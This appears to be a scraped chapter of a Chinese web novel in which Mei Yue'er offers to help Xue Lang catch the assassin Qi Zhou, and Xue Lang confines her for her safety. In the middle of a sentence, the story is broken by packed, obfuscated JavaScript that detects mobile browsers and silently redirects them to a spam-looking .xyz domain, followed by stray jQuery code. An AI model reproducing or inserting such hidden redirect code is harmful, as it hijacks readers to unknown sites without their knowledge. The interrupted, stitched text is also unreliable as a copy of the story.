在他蓦然相视的眼中,映着梅月儿水墨般的眉眼。她薄薄的、随风而动的衣衫下,藏着一颗过于早熟和大胆的心。
月儿不避开,跟他四目相对。她放出这句言论,试探他的宽容。他果然不再急于脱身,面色冷凝下来,反手扣住她的手臂。
他的掌心竟然没什么温度,像一块在地下埋了很久的玉。让她第一时间感知到的,竟然是土地般平和的余温。
“你怎么知道?”薛琅问。
梅月儿顶着被扣紧手腕的微痛,她与兄长交锋,本该低眉顺眼的孤女撑着浑身不怕死的硬骨头,浅浅一笑:“我遇到了他。”
薛琅立即压低目光,将她从头到脚盯视了一遍,顾不上冒犯。
她年轻、健康,少女的身体纤瘦而匀称,薄裙如蝶翼,似乎旋身便会飞走。他几次摸过她的脉象,聆听她的脚步、呼吸,确信她不会一丁点武功。
微妙的岑寂半晌,他说:“你没有受伤?在哪里遇见的?”
梅月儿说:“我没有受伤。刺杀那天夜里,他在我从前的扫红小院躲避巡查的人,威胁我不要说出去,不然,他就杀了我。”
薛琅紧紧锁眉:“此人长什么模样?”
月儿信心满满地张口,只说了一个“他”字,忽然又闭上嘴,冥思了半晌——他长什么样子,那张平凡得不能再平凡的脸,居然丝毫没有可以说的出口的特征。她努力地回忆、分辨,想要从两人见面时的观察说出什么来。
可终究没有。齐骤长得实在太普通,她都要记不起来了。除了这个名字,她也没得到什么可用的消息。
薛琅从她的神色变化中揣摩出内容:“他易了容,你不记得。”
梅月儿沮丧地点头。
他轻轻吸了口气,露出一个莫可奈何的轻笑。好像从遇到她开始,薛琅总是觉得无奈、觉得棘手难办,他一路从玉京而来,两千里地,她是他遇到无数难题里最没头绪的那个。
“梅姑娘。”连唤她的姓氏,这次也似叹息,“你是要捉弄我吗?”
月儿窘迫地看向足尖,湿漉漉地手心捏着袖摆。她懊恼地想跺脚。
“还是说,你仍有什么事瞒着我?”薛琅话锋一转,道,“你怎么知道他至今还在府中,而不是遁逃远去了。”
她有些心虚。
梅月儿知道齐骤的名字,不过刺客行事,一贯是假名,她不确定脾气古怪的齐骤是不是也交代了一个假名。无论是真是假,这是她留在兄长身边的凭据,她不能立即倾言相告,让自己失去价值。但她还有更多的价值引诱对方,让兄长不得不重视她。
她说:“因为我还见过他一次。”
薛琅目不转睛地望着她。
“他又出现在我面前,在甘老爷安排的暖香楼。我想,他一定有办法在这里自由来去。”她道,“他说要谢我没有透露消息,要报答我,也许,此人还会来找我。”
薛琅道:“他是刀尖舔血的死士,很危险。”
月儿何尝不知道这很危险,然而,她能打出的牌不多,这算一个。
“怀瑾哥哥。”她说,“你想追查他,对么?我可以帮你。”
薛琅的目光久久停留在她的脸庞上。这道没有头绪的难题,仰着脸,抛出具有诱惑力的线索——他几番调查的遗漏,被梅月儿柔柔地握在了手中。
“帮我。”他复述,随即出人意料地道,“不必,这太危险,你不能和他再联络。”
月儿怔了一下,连忙道:“可是——可是他看上去有些痴,我有信心能……啊!”
他又抓住她的手,刻意地用力紧握了一下,攥得她痛。梅月儿眼泛泪花,面露委屈,听到兄长冷冰冰的音色:“你不可再跟他来往,且也不能住在那里。你将此事告诉我,万一事泄,不怕死么。”
梅月儿呆望着他。她从薛琅冷漠的声音中窥见一种关心,从前,这类似的关切只有师父说给她听。似乎许多身为师长的人,总是在关心中掺杂威吓和掌控……她犯了错,师父拿着戒尺抽她的手板,她哭,师父也落下泪来,到最后,受伤的人变成了彼此。
她们紧紧搂抱、依靠在一起。月儿记得师父腮边滑落的泪珠,滴在她年幼的额头,几乎洞穿她那颗漂泊的心。
在梅月儿眼中,薛琅的形影在面前恍惚了一瞬。她咬了咬唇,眼底的泪吞回腹中。她说:“你对人,一贯这么好吗?”
薛琅顿了顿,道:“好?”
他一直在婉拒她的请求,没有一项事顺她的意。薛琅不明白,这好在哪里。
他只是说:“请姑娘委屈些时日,住在我身边,我安排侍卫给你。待刺客落网,再离开不迟。”
事情没有顺着梅月儿预想的那条路发展,却意外达成目的。这条利益交换、为他所用的计划,因为受益人的不配合,竟化为泡影。
梅月儿回答得慢了,薛琅不由攥得更用力。
直到她低下头,看向自己的手。
薛琅霎时松指,说:“抱歉。”
掌控她安全的笼罩感跟着消失。
梅月儿道:“可是……”
一听到“可是”二字,他便凝眉。月儿发现,兄长的疏远无情只是另一重伪装,他似乎不能那么柔软地显示出自己的心软和同情,有什么坚硬的甲壳囚禁着他,命令着他。
她的心骤然雀跃起来,说:“可是你怎么办呀?没有我做卧底,你几日能抓到他?他又伤了你怎么办?”
“无碍的。”他说,“我会……”
话音未落,失去钳制的蝴蝶挟着香气扑上来,又埋他怀里猛抱了一下。她又这样突然地落进怀中!让他不得不猝然伸手去接,下一刻,梅月儿旋裙脱身,离开他的手臂之间,得意地哼笑一声:“我不信!我知道你只是怕我送死,我偏要帮你。”
薛琅哑然。看到她像拿住了什么把柄似的,她那双狡黠的慧眼看透了什么,似乎知道:“你好像很怕欠下什么恩情啊,薛公子?我舍命助你,你当然摆脱不了我啦——走着瞧吧,我迟早让你求我跟着你。”
“你。”薛琅不知说什么,这道无头绪的难题反而抓住他的把柄,考验他的良知,随即,他淡淡道,“这么说,你不肯住在我身边,还要再跟刺客来往了?”
月儿这次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16404536|184419||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
根本没顾得上回答他,欢喜得鸟雀一般下楼去。对付他这样外冷内热的好人,她很有办法,梅月儿边走边道:“我肯定能帮忙的,我——”
她身后响起一声“得罪了”。随后,风平浪静的小楼不知从哪儿钻出来两个贴身暗卫,阻拦她回去的步伐。
寒光凛凛的宝剑映照着她的面,照出她身后薛琅的侧影。
兄长颀长的身影在剑光中微微模糊,身姿如松如鹤。他轻声道:“梅姑娘,请留步。”
-
请留步。
留步个鬼!梅月儿顺着青梅树爬上院墙,跟高墙外膀大腰圆的侍卫打了个照面。她讪讪地摆了摆手,矮身躲回墙内。
她住在薛琅居所的西暖阁,一眼就能望见兄长跟王公子议事的花厅。隔着一道爬满翠藤的花屏,似乎总有神不知鬼不觉的暗卫在盯着她,防她飞出窗去。
梅月儿长长叹了口气,颓然埋在石桌上。她倒是真正看出薛琅的脾性,这下可好,连出门的自由都没了,别说帮他,这回连缠着他都更难。
可见怀瑾哥哥虽然好,但也君子的有限!
就在她对着花屏低落捧颊,满面愁容之时,一个不见天日的鬼魂,也在空荡荡的暖香楼中等候了一夜。
齐骤望着阁楼上的那只蜡烛。
他耐心地等烛火被一只玉手点起,她再擒起那盏灯,暖黄的烛光就这么逼近他的身影,照着他的眼睛。这样,齐骤就能对她讲:“我已取回你的身契。”
他其实还没有完成手头的任务,但鬼使神差地,他先窃走了梅月儿的身契,完成她的托付。那张盖着官印的薄薄纸张,脆弱地藏在他怀里。
到了他交付这件宝物时,梅月儿却不见身影。
天蒙蒙亮,东方破晓的晨光射入窗棂,罩住他漆黑一团的眼眸。齐骤意识到,出了变故,她不会回来了。
他应该离去,天亮了,见不得光的鬼该离开。
齐骤耐下心,他超出预想地又等了半刻钟。终于,一片寂静的暖香楼迎来了一些声音,远远的交谈伴着脚步声逼近。
那是两个洒扫的侍女,交谈的声音逐渐清晰。
“……你真不知道假不知道?嘿,真让她给攀上了!不愧我们当初暗中指点她。昨儿咱们老爷教她去伺候两位贵客,今日果然就不再回来!”
“她真留在那里了么?”另一人的羡慕中透着点酸气,“那位贵客薛公子,真要了她?”
“还能有假。月儿姑娘都跟他住到一处去了,孤男寡女,一同起居坐卧,哼,他还能是个圣人不成?她给咱们老大人说句话,老大人、夫人放下心,我们也就松下来啦。”
“嗳,下回再见,说不准要摇身一变,成了小姐主子咯。”
两人闲聊着收拾起来。
齐骤聆听到这里,离开了暖香楼。
他藏匿在楼宇树木的影里,与交织的阴翳融为一体。齐骤摸了摸胸口放她身契的位置,心想,她一定是被强迫的。
她说过要远走高飞,离开青州,眼下却被薛怀瑾困在笼中,不得自由。可见薛琅这伪君子欺孤凌弱,死有余辜。